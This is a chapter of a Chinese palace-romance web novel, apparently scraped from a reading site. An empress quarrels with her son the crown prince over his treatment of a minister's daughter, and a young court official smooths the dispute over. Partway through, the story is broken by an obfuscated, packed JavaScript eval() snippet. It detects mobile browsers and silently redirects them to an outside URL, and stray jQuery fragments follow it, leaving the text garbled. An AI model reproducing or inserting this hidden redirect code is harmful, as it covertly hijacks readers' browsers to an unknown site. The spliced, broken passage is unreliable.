女帝受万民朝贡,自是保养得当,一张面容清冷如山水画,全然不似四十多岁的女子。
国事繁忙如旧,难得偷来这半日闲情。此刻长子陪伴在侧,她屏退宫人,只留延秀嬷嬷与延庆公公在一侧伺候,轻轻斜靠在小桌边闭目养神。
倒也是一副母慈子孝的场景。
忽而想到了什么,她开口道:“听闻太子近日颇有闲情,在东宫养犬?”
谢煊起身回道:“儿臣回母皇,确有此事。”
女帝点了点头,语气状似轻松,却带着问询:“你自小勤勉好学,从不玩物丧志,朕自然放心。只是听闻你为了那犬只,竟将肖大人的嫡女遣送回府,还拂了肖大人的面子?”
“不错。”
“可朕倒是听闻,肖全那女儿对你有意。你这么做,会不会伤了人家姑娘的心?”
谢煊抬头看了一眼母亲,“民间便有‘娶贤’之说,那肖氏女所作所为,毫无半分贤德可言。若是母皇有意撮合,请恕儿臣不敢从命。”
“朕也并不想管你这些事,”女帝固然开明,但被儿子如此直截了当地拒绝,神色有些不豫,“但你再如何,都不该毫不给肖大人留情面。自朕推行新政、鼓励女官入宫从政以来,还从未有女官因犯错,而被遣送回府过。”
“从未有过,不代表不可以有。”谢煊神色淡然,仿佛在说一件与他无关之事,“肖氏女公然挑衅东宫女官,置天家颜面于不顾,若是就此放任,恐怕并非好事。”
女帝对他的回答颇为意外。
自她这长子被立为太子后,一向是恭谨恪行,从不会与她这样说话。
今日却换了个人似的,语气竟硬如寒铁。
女帝道:“……但你身为太子,此番处置重臣之女,未免太过莽撞。朕问你,朕曾经教你的那些中庸平衡之道呢?”
谢煊却望着母亲,反问道:“肖全行贿收贿、豢养门客、结党营私,如今甚至将手伸到宫内各掌事公公,前几日母皇密令儿臣查榆州那案子,恐怕也与他有关。他已妄为到这等地步,母皇是真不知道,还是装不知道?”
“你……”女帝面容上写着一丝意外,显然是没料到榆州水患竟与肖全有关。
但被儿子这番反问,她端庄姣好的面容上已有了两分薄怒,“你在质问朕?”
“儿臣不敢。只是想告知母皇,与其为了儿臣私事费心,质疑儿臣处理不当,不如先管好底下的宠臣,莫要做那国之蠹虫。”
“呵……私事?”女帝面色如霜,“你身为太子,断无私事可言!你万不可不考虑整个朝堂政局!此番你处置他的女儿,一心要杀鸡儆猴,却叫三品大员颜面尽失,你如今羽翼未丰,却不知肖全是何等人物!”
“母皇自是放心,儿臣现下既然敢打肖全的脸,此后便也会想到对付肖全的法子。”谢煊冷然,“母皇只消等着,等儿臣将肖全的证据找全便可。”
“你……”女帝被气得胸脯剧烈起伏,转瞬竟猛咳起来,吓得延秀与延庆两兄妹又是顺气又是倒茶。
谢煊见状不再说话,只是自发静静走到下首,跪下自罚。
日头正盛,御花园的石板吸足了热气,灼得膝盖发烫,但这严格的教条,他从儿时起便习惯了。
他知道母皇一直有许多不得已的苦衷,例如这回,新政推行正是关键时期,守旧派处处阻挠,只有文相文清章、户部尚书肖全与永安侯程挚等一干人坚持力挺。
母皇的确需要肖全,但他已经忍得倦了。
尤其是那肖氏女。谢煊想起程时玥那被欺负得欲泣的模样,心头又莫名添了一把无名火。
过了一会儿,女帝终于不再咳嗽。延秀姑姑忙跪下劝道:“圣上息怒,母子本是连心,殿下也是一心想为圣上分忧……”
“他分忧?”女帝听得冷笑,“他这是要早日气死朕!”
“既然愿意跪着,那便跪到天亮好了!延秀,摆驾乾元殿!”
女帝拂袖而走,只留下谢煊一人,依旧在原地跪着。
*
程时玥此番正准备出宫,却鬼使神差地绕了御花园那条远路。
大抵是她心怀侥幸,想着若是经过,万一能悄悄看上他一眼呢?
若是真能看他一眼,今日倒也不算白跑一趟。
心里是这般想着,却没想刚转了个弯,便听见御花园内传来争执声。
程时玥原本不想细听的,可无奈耳力太好,仍旧叫她听了去,并且居然说的还是那日她与肖云月之事。
母子二人不仅提到肖云月,还似乎说到了朝堂中的肖大人,引得圣上凤颜大怒。
程时玥听得心惊胆战,正犹豫着要不要赶紧离开,却忽然发现争吵声停了。
随后一转头,便见圣上的轿辇自前方而来。
她赶紧退至一边,低头见礼。
这空旷的路边只有她一人,很难不叫人发现她,程时玥大气也不敢出,心中默念只希望圣上的轿辇快些过去。
谁料怕什么便来什么,那轿辇并未如她期待从她身前经过,而是停在了她的跟前。
女帝此刻虽喜怒不显于面,心中却神思烦忧。轿辇行了没两步,她便见到路边一名低头的女官,看那服制样色,似是来自东宫。
于是便索性示意人停下。
太子方才不是质疑她放任宠臣么?
她今日倒是想看看,太子自己又是如何管束下官的。
“抬起头来。”
程时玥依言抬头,女帝便看到了一张素净纯粹、貌比天仙的脸。
“你是东宫的女官?是谁家的孩子?”
程时玥毕恭毕敬地回:“回圣上,臣蒙殿下恩惠,刚东宫任掌书一职,臣是永安侯府的庶女,姓程名时玥,排行第二。”
女帝点了点头,仔细端详了她这张脸片刻:“倒是与你嫡姐有几分像,却从不见你父亲提起你。”
“臣生母出于白丁,身份低微,不敢与嫡姐相提并论。”程时玥低头柔声道。
女帝听完此话微微颔首,复又微皱了眉头,问道:“今日本该休沐,你为何而来?……是来找太子的?”
程时玥心中略一思忖,若是承认特地来找殿下,那便是承认听到了方才母子私下里的争吵,如此要置圣上颜面于何地?
但她又自知瞒不住心思缜密的女帝,便索性跪下回道:“回圣上,臣方才经过,恰好听见殿下顶撞了圣上,虽为无心之失,但实是臣之罪过,请圣上责罚。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625816|172352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
女帝的目光在程时玥身上逡巡了一遍,见这女官虽看起来有些害怕,却还是选择诚实相告,反而放下心来:“罢了,你既然无心,那便无过。”
她不像从前在宫中的时姝那般聪慧骄矜、小嘴抹蜜,却也并不令自己反感。
这永安侯府里教出来的女儿,模样像,性子却截然是两个样,着实是有些趣味。
女帝没忘记自己停轿的目的,直接了当问她,“此番你既然听见了太子顶撞了朕,那便由你来说说,太子是对,还是错?”
程时玥心中一凛。
这并不是一个好回答的问题。她身为东宫女官,自然是殿下的人,可普天之下的臣民,又都是圣上的臣民。她该站在哪边?
若是站在圣上那边,那便是不忠主子,殿下往后又会如何想自己?
可若是站在殿下这边,那更是不忠于君,况且女帝的威压,令她着实不敢直面。
“臣见识浅薄,若是臣说得不对之处,还请圣上恕罪。”
女帝清冷带着威严声音传来:“但说无妨。”
“殿下顶撞圣上,是错,却也是对。”
女帝显然被勾起一丝兴趣,示意她继续说下去。
深吸一口气,程时玥继续道,“圣上明鉴,臣有一问:是否从未有过先例之事,便不可轻易破例?可圣上乃当朝第一任女帝,此为先例;新政实行,许女子入学、从政,此亦为先例——”
“依臣看,圣上对殿下所说的‘未有先例’,从来不应是束缚,相反,敢于为真理正义不断打破先例,才是治国长久之道。”
“是以殿下顶撞圣上,是殿下为子、为臣的错。可若就殿下所说的话而言,却是无错。圣上有圣上的为难,可殿下也有殿下的决断。权臣挡道,虽难以动摇,但自古以来,总有明知不可为而为之的人——”
“而殿下,正是这样的人,是不畏强权,想要打破先例之人。”
女帝明眸微定,似是陷入思考。
“……你叫程时玥?是哪个玥字?”
“回圣上,臣生母姓王。臣出生之时正是十五,天上月圆,所以便取王旁月,为臣之名。”
女帝将这“玥”字蕴于舌尖,揣摩了片刻。
这“玥”字,原意是指上天赐予有德圣皇的一颗神珠,如今她来东宫做这女官,竟很是吉相与应景。
忽而女帝淡笑道:“煊儿的东宫,倒是有你这一颗宝珠。”
“臣谢圣上夸赞。”程时玥终于偷偷松了口气。
这样的话……她的回答,大概算是过关了?
一旁延秀见女帝心情缓和了不少,适时在女帝身旁悄声提醒:“圣上……殿下前几日为查案夙夜未眠,还请圣上莫要罚得狠了。”
女帝一听,微叹了口气道:“罢了。他倒是很会选女官,一心替他解围。传令去让他起来吧。”
延秀嬷嬷“哎”了一声,高高兴兴便去通传了。
程时玥目送圣上的轿辇远去,犹豫了片刻,终究没去见他。
他一向是何等清高自持之人,想来,他定是不想让自己知道这样的事吧。
正准备离去,却听身后传清朗如润玉般的男声:“孤的女官,为孤做了好事便要走?”